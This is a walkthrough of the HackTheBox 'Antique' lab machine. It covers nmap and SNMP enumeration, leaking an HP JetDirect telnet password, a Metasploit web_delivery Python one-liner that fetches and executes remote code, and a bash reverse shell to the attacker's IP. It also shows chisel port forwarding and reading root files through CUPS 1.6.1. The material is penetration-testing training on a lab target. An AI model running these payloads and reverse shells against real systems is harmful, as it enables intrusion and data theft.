Antique HackTheBox Walkthrough

Summary

Antique is Linux machine and is considered an easy box by the hack the box. On this box, we will begin with a basic port scan and move laterally based on the findings. Then we will enumerate telnet service and hunt vulnerabilities present in a particular version.  Laterally, we will exploit password disclosure vulnerability and obtain plain taxed passwords. Then we will be tasked to gain root access where we will need to perform port forwarding then we will read sensitive files by exploiting the file read vulnerability present on CUPS 1.6.1 version. In addition, we will be exploiting privilege and port forwarding using two different techniques.

Table of content

Initial Access

• Initial Nmap TCP Port Scan
• Telnet Banner Grabbing
• Searching for the exploit
• SNMP Enumeration
• User Shell
• User Flag

Privilege Escalation

• Port Forwarding with Metasploit
• Finding Privilege Escalation Vectors
• Exploit File read Vulnerability
• Root Flag
• Manual Method

• Port forwarding with chisel
• Root flag

Let’s exploit it step by step.

Initial Access

We are going to start the assessment with the normal TCP/IP port scanning.

Initial Nmap TCP Port Scan

We begin with the port scan where we are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. To perform a port scan, we have used the –sV flag with full TCP ports against the target system which will scan full TCP ports with service version.

Flags features:

-sV:  Attempts to determine the service version

-p-:  Attempts to scan full ports

nmap -p- -sV 10.129.33.36

From the nmap scan, we have found telnet is open. Telnet is used to make remote connections. Many of the telnet version are vulnerable and it is not a secured protocol because it does not follow any encryption while communicating and transferring any message from one endpoint to another.

Telnet Banner Grabbing

While banner grabbing, it has shown an HP JetDirect and prompt for the password. By its name, it looks like a printer service which is managed by telnet protocol. Many times, administrators use a common password for the printers but did not work in our case.

Searching for the exploit

When we searched for the exploit related to HP Jet Direct, we found one exploit available which has a vulnerability to disclosing the device password. We downloaded the exploit and checked the source code we found it works with SNMP protocol.  If we get the device password, then we can enumerate the device via telnet using credentials. But it is only possible if the SNMP protocol is open.

searchsploit HP JetDirect
searchsploit -m 22319
cat 22319.txt

SNMP Enumeration

This time, we are scanning only SNMP Service which is works on its default port 161 and follows UDP protocol. From the nmap scan result, we found that SNMP port is open and community name is public which is very common. Also, we found it is using SNMP version 1 which is an insecure version as it does not follow encryption.

Flags features:

-sU:  Attempts to scan UDP ports

-sV:  Attempts to determine the service version

-p:  Attempts to scan against given port

nmap -sU -sV -p 161 10.129.33.36

Next, we are following the exploit we found earlier which gave us some decimal values.  Here we have given target IP address which is 10.129.33.36.

 snmpget -v 1 -c public 10.129.33.36 .1.3.6.1.4.1.11.2.3.9.1.1.13.0

Then, we copied all decimal contents and decoded them using cyberchef. Cyberchef is an online tool used to encode and decode. After decoding we got a plain taxed password:

P@ssw0rd@123!!123

Reference link: https://gchq.github.io/CyberChef/

User Shell

With obtained credentials, we logged in to telnet and used the help command (?). There we saw , we can use exec command which means we can execute any system commands from here.

Then we used the Metasploit script web delivery module which will create a server and send the payload to receive the reverse shell once the server started, we will use a python reverse shell. Execution of the reverse shell will give us a meterpreter session. To do that we have to provide the srvhost IP address and local host IP address and listening port, but we can skip lport as Metasploit picks it by itself and its default listening port is 4444. Please note, both srvhost and local IP address are the same as our kali machine IP address.  More information about this module is available here:

https://www.rapid7.com/db/modules/exploit/multi/script/web_delivery/

use multi/script/web_delivery
set lhost 10.10.14.93
set srvhost 10.10.14.93
exploit
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.10.14.93:8080/CzrKiV54o7', context=ssl._create_unverified_context());exec(r.read());"

User Flag

As we can see we have received a meterpreter shell. Now we can grab the user flag /var/spool/lpd directory. Also, if the meterpreter session is established then we can interact with the session number, here it is 1. Further enumeration of the internal network, we found an internet printing protocol is running on its default port 631.

Privilege Escalation

Privilege escalation is the process of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are usually protected from an application or user. Privilege escalation can be used by attackers to gain access to more system functions and data than intended by the root user. In some cases, privilege escalation can allow attackers to control the system completely.

Port Forwarding with Metasploit

To enumerate port 631, we will forward its port to our kali system so it will be accessible from there.  Here we have the port number we want to access in our kali loopback interface and the port number we want to forward to our kali system which is 631.

portfwd add -l 8082 -p 631 -r 127.0.0.1

Finding Privilege Escalation Vectors

Accessing it over browser from our kali, opened a web page where we found CUPS version 1.6.1.

Exploit File read Vulnerability

The CUPS version 1.6.1 is vulnerable to root file read. We found a Metasploit module that is also available there. Then we switched to the module where we provided the current session ID, and the file name that we want to read, where we have given root.txt.

use post/multi/escalate/cups_root_file_read
set session 1
set file /root/root.txt

Root flag

After execution of the exploit, it will save the output to /root/.msf4/loot directory. There we can use the cat command to view the contents of roo.txt. Now we can submit the root flag.

Manual Method

Let’s try with manual way, we will exploit the root file read vulnerability from port forwarding. In many exam settings, we are not allowed to use automated tools, so we also need to consider working in a manual way as well.

Port forwarding with chisel

For the port forwarding, we need to download the chisel and transfer it to the target machine. Chisel is a great tool used for pivoting and it is used by many penetration testers during their internal assessments. Make sure to download the amd64 architecture only.  The download link is given below:

https://github.com/jpillora/chisel

Once its download, we will unzip it and turn on the python server on port 80 to transfer it to the target system.

gunzip chisel_1.7.7_linux_amd64.gz
python3 -m http.server 80

We also need to set up a chisel server on our kali system to make them communicate with each other. Firstly, we need to give full permission to execute. Next, we will set up a chisel server on port 5000.

chmod 777 chisel_1.7.7_linux_amd64.gz
./ chisel_1.7.7_linux_amd64.gz server -p 5000 --reverse

Then we will take a reverse shell after authenticating via telnet with obtained password: P@ssw0rd@123!!123. After logging in to telnet we will take reverse shell using exec command, here we are using bash one-liner reverse shell. Do not forget to turn on the netcat listener on port 1234 before executing the bash one-liner.

On kali terminal 1:

telnet 10.129.33.36

On kali terminal 2:

Nc -nlvp 1234

On kali terminal 1:

exec bash -c 'bash -i >& /dev/tcp/10.10.14.93/1234 0>&1'

Next, we will download chisel in the target systems /tmp folder.

wget 10.10.14.93/chisel_1.7.7_linux_amd64

Once we download the chisel on the target system, we will give full permission so we can execute it. Here we need to provide a few details to set up the chisel client such as the attacker Ip address (10.10.14.93), attacker side chisel server port (5000), remote port (5432) where we want to access service than local host and local internal port (631) that we wish to forward.

./chisel_1.7.7_linux_amd64 client 10.10.14.93:5000 R:5432:localhost:631

Once we forward the port then we can access it from kali over the browser on loopback IP or localhost on port 5432.

Root Flag

When we checked groups, we found that current users belong to lpadmin group. As cups is accessible from the kali browser, here we are changing the error log path to /root/root.txt.  Once we do that, we can check the root.txt file over the browser. Before changing the error log path, we could be able to see only error logs on the browser but after changing its path we will be able to read any files we wish to read.

The error logs are stored in the /admin/log directory. Checking the error log over the browser, we got root.txt content instead of any error. Now we can submit the root flag.

Conclusion

This machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, UDP port scan, SNMP enumeration, exploit password disclosure vulnerability, port forwarding (Metasploit), Port forwarding (manual), file transfer, file permissions, exploit file read vulnerability to read root.txt file in two different ways.

Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!

Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin and Twitter